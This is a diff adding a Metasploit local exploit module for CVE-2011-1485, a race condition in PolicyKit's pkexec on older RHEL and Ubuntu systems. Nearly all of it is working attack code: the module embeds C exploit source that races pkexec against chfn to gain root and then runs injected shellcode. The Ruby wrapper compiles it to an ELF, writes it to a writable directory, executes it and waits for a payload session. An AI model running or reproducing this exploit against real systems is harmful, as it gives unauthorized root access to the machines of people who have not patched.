|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class Metasploit4 < Msf::Exploit::Local |
| 7 | + Rank = GreatRanking |
| 8 | + |
| 9 | + include Msf::Exploit::EXE |
| 10 | + include Msf::Post::File |
| 11 | + |
| 12 | + include Msf::Exploit::Local::Linux |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Linux PolicyKit Race Condition Privilege Escalation', |
| 17 | + 'Description' => %q( |
| 18 | + A race condition flaw was found in the PolicyKit pkexec utility and polkitd |
| 19 | + daemon. A local user could use this flaw to appear as a privileged user to |
| 20 | + pkexec, allowing them to execute arbitrary commands as root by running |
| 21 | + those commands with pkexec. |
| 22 | +
|
| 23 | + Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu |
| 24 | + libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1 |
| 25 | + (10.04 LTS) and 0.94-1ubuntu1.1 (9.10) |
| 26 | + ), |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'xi4oyu', # exploit |
| 31 | + '0a29406d9794e4f9b30b3c5d6702c708' # metasploit module |
| 32 | + ], |
| 33 | + 'Platform' => [ 'linux'], |
| 34 | + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], |
| 35 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 36 | + 'Targets' => |
| 37 | + [ |
| 38 | + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], |
| 39 | + [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ] |
| 40 | + ], |
| 41 | + 'DefaultTarget' => 0, |
| 42 | + 'References' => |
| 43 | + [ |
| 44 | + [ 'CVE', '2011-1485' ], |
| 45 | + [ 'EDB', '17942' ], |
| 46 | + [ 'OSVDB', '72261' ] |
| 47 | + ], |
| 48 | + 'DisclosureDate' => "Apr 01 2011" |
| 49 | + )) |
| 50 | + register_options([ |
| 51 | + OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), |
| 52 | + OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), |
| 53 | + OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), |
| 54 | + OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]) |
| 55 | + ]) |
| 56 | + end |
| 57 | + |
| 58 | + def executable_path |
| 59 | + @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) |
| 60 | + @executable_path |
| 61 | + end |
| 62 | + |
| 63 | + def exploit |
| 64 | + main = %q^ |
| 65 | +/* |
| 66 | +* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit |
| 67 | +* Author: xi4oyu |
| 68 | +* Tested on: rhel 6 |
| 69 | +* CVE : 2011-1485 |
| 70 | +* Linux pkexec exploit by xi4oyu , thx [email protected] * Have fun~ |
| 71 | +* U can reach us @ http://www.wooyun.org :) |
| 72 | +* 0a2940: some changes |
| 73 | +*/ |
| 74 | +/* |
| 75 | +#include <stdio.h> |
| 76 | +#include <limits.h> |
| 77 | +#include <time.h> |
| 78 | +#include <unistd.h> |
| 79 | +#include <termios.h> |
| 80 | +#include <sys/stat.h> |
| 81 | +#include <errno.h> |
| 82 | +#include <poll.h> |
| 83 | +#include <sys/types.h> |
| 84 | +#include <stdlib.h> |
| 85 | +#include <string.h> |
| 86 | +*/ |
| 87 | +
|
| 88 | +#define dprintf |
| 89 | +
|
| 90 | +#define NULL ((void*)0) |
| 91 | +
|
| 92 | +#define MAP_PRIVATE 0x02 |
| 93 | +#define MAP_FIXED 0x10 |
| 94 | +#define MAP_ANONYMOUS 0x20 |
| 95 | +#define MAP_ANON MAP_ANONYMOUS |
| 96 | +#define MAP_FAILED ((void *)-1) |
| 97 | +
|
| 98 | +#define PROT_READ 0x1 |
| 99 | +#define PROT_WRITE 0x2 |
| 100 | +#define PROT_EXEC 0x4 |
| 101 | +
|
| 102 | +#define O_CREAT 64 |
| 103 | +#define O_RDWR 2 |
| 104 | +
|
| 105 | +#define POLLRDNORM 0x0040 |
| 106 | +
|
| 107 | +typedef int __pid_t; |
| 108 | +typedef int __time_t; |
| 109 | +typedef |
| 110 | +struct { |
| 111 | + long __val[2]; |
| 112 | +} __quad_t; |
| 113 | +typedef __quad_t __dev_t; |
| 114 | +typedef long __ino_t; |
| 115 | +typedef unsigned long __mode_t; |
| 116 | +typedef long __nlink_t; |
| 117 | +typedef unsigned int __uid_t; |
| 118 | +typedef unsigned int __gid_t; |
| 119 | +typedef long long __off_t; |
| 120 | +typedef long __blksize_t; |
| 121 | +typedef long long __blkcnt_t; |
| 122 | +struct _stat_buff { |
| 123 | + __dev_t st_dev; /* Device. */ |
| 124 | + unsigned short int __pad1; |
| 125 | + __ino_t st_ino; /* File serial number. */ |
| 126 | + __mode_t st_mode; /* File mode. */ |
| 127 | + __nlink_t st_nlink; /* Link count. */ |
| 128 | + __uid_t st_uid; /* User ID of the file's owner. */ |
| 129 | + __gid_t st_gid; /* Group ID of the file's group.*/ |
| 130 | + __dev_t st_rdev; /* Device number, if device. */ |
| 131 | + unsigned short int __pad2; |
| 132 | + __off_t st_size; /* Size of file, in bytes. */ |
| 133 | + __blksize_t st_blksize; /* Optimal block size for I/O. */ |
| 134 | + __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */ |
| 135 | + __time_t st_atime; /* Time of last access. */ |
| 136 | + unsigned long int st_atimensec; /* Nscecs of last access. */ |
| 137 | + __time_t st_mtime; /* Time of last modification. */ |
| 138 | + unsigned long int st_mtimensec; /* Nsecs of last modification. */ |
| 139 | + __time_t st_ctime; /* Time of last status change. */ |
| 140 | + unsigned long int st_ctimensec; /* Nsecs of last status change. */ |
| 141 | + unsigned long int __unused4; |
| 142 | + unsigned long int __unused5; |
| 143 | +}; |
| 144 | +
|
| 145 | +struct _pollfd { |
| 146 | + int fd; /* file descriptor */ |
| 147 | + short events; /* requested events */ |
| 148 | + short revents; /* returned events */ |
| 149 | +}; |
| 150 | +typedef unsigned long size_t; |
| 151 | +extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); |
| 152 | +extern int mprotect(void *__addr, size_t __len, int __prot); |
| 153 | +extern void exit(int __status); |
| 154 | +extern int printf(const char *__format, ...); |
| 155 | +extern __pid_t fork(void); |
| 156 | +extern __time_t time(__time_t *t); |
| 157 | +extern __pid_t getpid(void); |
| 158 | +extern __uid_t geteuid(void); |
| 159 | +extern void srand(unsigned int seed); |
| 160 | +extern int snprintf(char *str, size_t size, const char *format, ...); |
| 161 | +extern int pipe(int pipefd[2]); |
| 162 | +extern int close(int fd); |
| 163 | +extern void write(int fd, const void *buf, size_t count); |
| 164 | +extern int dup2(int oldfd, int newfd); |
| 165 | +extern void perror(const char *__s); |
| 166 | +extern void read(int fd, void *buf, size_t count); |
| 167 | +extern int execve(const char *filename, char *const argv[], char *const envp); |
| 168 | +extern int usleep(int usec); |
| 169 | +extern void *memset(void *s, int c, size_t n); |
| 170 | +extern void *memcpy(void * dst, const void *src, size_t n); |
| 171 | +extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout); |
| 172 | +extern char *strstr(const char *haystack, const char *needle); |
| 173 | +extern int rand(void); |
| 174 | +extern int unlink(const char *__name); |
| 175 | +
|
| 176 | +int main(int argc,char *argv[], char ** envp) |
| 177 | +{ |
| 178 | +
|
| 179 | + __time_t tim_seed1; |
| 180 | + __pid_t pid_seed2; |
| 181 | + int result; |
| 182 | + struct _stat_buff stat_buff; |
| 183 | +
|
| 184 | + char * chfn_path = "/usr/bin/chfn"; |
| 185 | + char * cmd_path = ""; |
| 186 | +
|
| 187 | + char * pkexec_argv[] = { |
| 188 | + "/usr/bin/pkexec", |
| 189 | + "/bin/sh", |
| 190 | + "-c", |
| 191 | + cmd_path, |
| 192 | + NULL |
| 193 | + }; |
| 194 | + int pipe1[2]; |
| 195 | + int pipe2[2]; |
| 196 | + int pipe3[2]; |
| 197 | + __pid_t pid,pid2 ; |
| 198 | + char * chfn_argv[] = { |
| 199 | + "/usr/bin/chfn", |
| 200 | + NULL |
| 201 | + }; |
| 202 | +
|
| 203 | + char buff[8]; |
| 204 | + char read_buff[4096]; |
| 205 | + char real_path[512]; |
| 206 | +
|
| 207 | + int count = 0; |
| 208 | + int flag = 0; |
| 209 | + unsigned int usleep1 = 0; |
| 210 | + unsigned int usleep2 = 0; |
| 211 | +
|
| 212 | + tim_seed1 = time(NULL); |
| 213 | + pid_seed2 = getpid(); |
| 214 | + srand(tim_seed1+pid_seed2); |
| 215 | +
|
| 216 | + if(!geteuid()){ |
| 217 | +
|
| 218 | + unlink(cmd_path); |
| 219 | +
|
| 220 | + SHELLCODE |
| 221 | +
|
| 222 | + int shellcode_size = 0; |
| 223 | + int i; |
| 224 | + unsigned long (*func)(); |
| 225 | + func = mmap(NULL, 0x1000, |
| 226 | + PROT_READ | PROT_WRITE | PROT_EXEC, |
| 227 | + MAP_PRIVATE | MAP_ANONYMOUS, |
| 228 | + 0, 0 |
| 229 | + ); |
| 230 | + mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); |
| 231 | + dprintf("Copying %d bytes of shellcode\n", shellcode_size); |
| 232 | + //for (i = 0; i < shellcode_size; i++) { |
| 233 | + //(char)func[i] = (char)shellcode[i]; |
| 234 | + memcpy(func,shellcode,shellcode_size); |
| 235 | + //} |
| 236 | + dprintf("Forking before calling shellcode: 0x%p\n", func); |
| 237 | + if (fork()) { |
| 238 | + exit(0); |
| 239 | + } |
| 240 | + func(); |
| 241 | + } |
| 242 | +
|
| 243 | + if(pipe(pipe1)){ |
| 244 | + perror("pipe"); |
| 245 | + exit(-2); |
| 246 | + } |
| 247 | +
|
| 248 | + for(count = COUNT; count && !flag; count--){ |
| 249 | + dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2); |
| 250 | + pid = fork(); |
| 251 | + if( !pid ){ |
| 252 | + // Parent |
| 253 | + if( !pipe(pipe2)){ |
| 254 | + if(!pipe(pipe3)){ |
| 255 | + pid2 = fork(); |
| 256 | + if(!pid2){ |
| 257 | + // Parent 2 |
| 258 | + close(1); |
| 259 | + close(2); |
| 260 | + close(pipe1[0]); |
| 261 | + dup2(pipe1[1],2); |
| 262 | + dup2(pipe1[1],1); |
| 263 | + close(pipe1[1]); |
| 264 | + close(pipe2[0]); |
| 265 | + close(pipe3[1]); |
| 266 | + write(pipe2[1],"\xFF",1); |
| 267 | + read(pipe3[0],&buff,1); |
| 268 | + execve(pkexec_argv[0],pkexec_argv,envp); |
| 269 | + perror("execve pkexec"); |
| 270 | + exit(-3); |
| 271 | + } |
| 272 | + close(0); |
| 273 | + close(1); |
| 274 | + close(2); |
| 275 | + close(pipe2[1]); |
| 276 | + close(pipe3[0]); |
| 277 | + read(pipe2[0],&buff,1); |
| 278 | + write(pipe3[1],"\xFF",1); |
| 279 | + usleep(usleep1+usleep2); |
| 280 | + execve(chfn_argv[0],chfn_argv,envp); |
| 281 | + perror("execve setuid"); |
| 282 | + exit(1); |
| 283 | + } |
| 284 | + } |
| 285 | + perror("pipe3"); |
| 286 | + exit(1); |
| 287 | + } |
| 288 | +
|
| 289 | + //Note: This is child, no pipe3 we use poll to monitor pipe1[0] |
| 290 | + memset(pipe3,0,8); |
| 291 | +
|
| 292 | + struct _pollfd * pollfd = (struct pollfd *)(&pipe3); |
| 293 | + pollfd->fd = pipe1[0]; |
| 294 | + pollfd->events = POLLRDNORM; |
| 295 | +
|
| 296 | + if(poll(pollfd,1,1000) < 0){ |
| 297 | + perror("poll"); |
| 298 | + exit(1); |
| 299 | + } |
| 300 | +
|
| 301 | + if(pollfd->revents & POLLRDNORM ){ |
| 302 | + memset(read_buff,0,4096); |
| 303 | + read(pipe1[0],read_buff,4095); |
| 304 | + if( strstr(read_buff,"does not match")){ |
| 305 | + usleep1 += 100; |
| 306 | + usleep2 = rand() % 1000; |
| 307 | + }else{ |
| 308 | + if(usleep1 > 0){ |
| 309 | + usleep1 -= 100; |
| 310 | + } |
| 311 | + } |
| 312 | + } |
| 313 | + } |
| 314 | + result = 0; |
| 315 | + unlink(cmd_path); |
| 316 | + return result; |
| 317 | +} |
| 318 | +
|
| 319 | +^ |
| 320 | + main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode")) |
| 321 | + main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") |
| 322 | + main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") |
| 323 | + main.gsub!(/COUNT/, datastore["Count"].to_s) |
| 324 | + main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG'] |
| 325 | + |
| 326 | + cpu = nil |
| 327 | + if target['Arch'] == ARCH_X86 |
| 328 | + cpu = Metasm::Ia32.new |
| 329 | + elsif target['Arch'] == ARCH_X86_64 |
| 330 | + cpu = Metasm::X86_64.new |
| 331 | + end |
| 332 | + |
| 333 | + begin |
| 334 | + elf = Metasm::ELF.compile_c(cpu, main).encode_string |
| 335 | + rescue |
| 336 | + print_error "Metasm Encoding failed: #{$ERROR_INFO}" |
| 337 | + elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" |
| 338 | + elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}" |
| 339 | + return |
| 340 | + end |
| 341 | + |
| 342 | + print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" |
| 343 | + rm_f executable_path |
| 344 | + write_file(executable_path, elf) |
| 345 | + output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") |
| 346 | + output.each_line { |line| print_debug line.chomp } |
| 347 | + |
| 348 | + stime = Time.now.to_f |
| 349 | + print_status "Starting the payload handler..." |
| 350 | + until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f |
| 351 | + Rex.sleep(1) |
| 352 | + end |
| 353 | + end |
| 354 | +end |
0 commit comments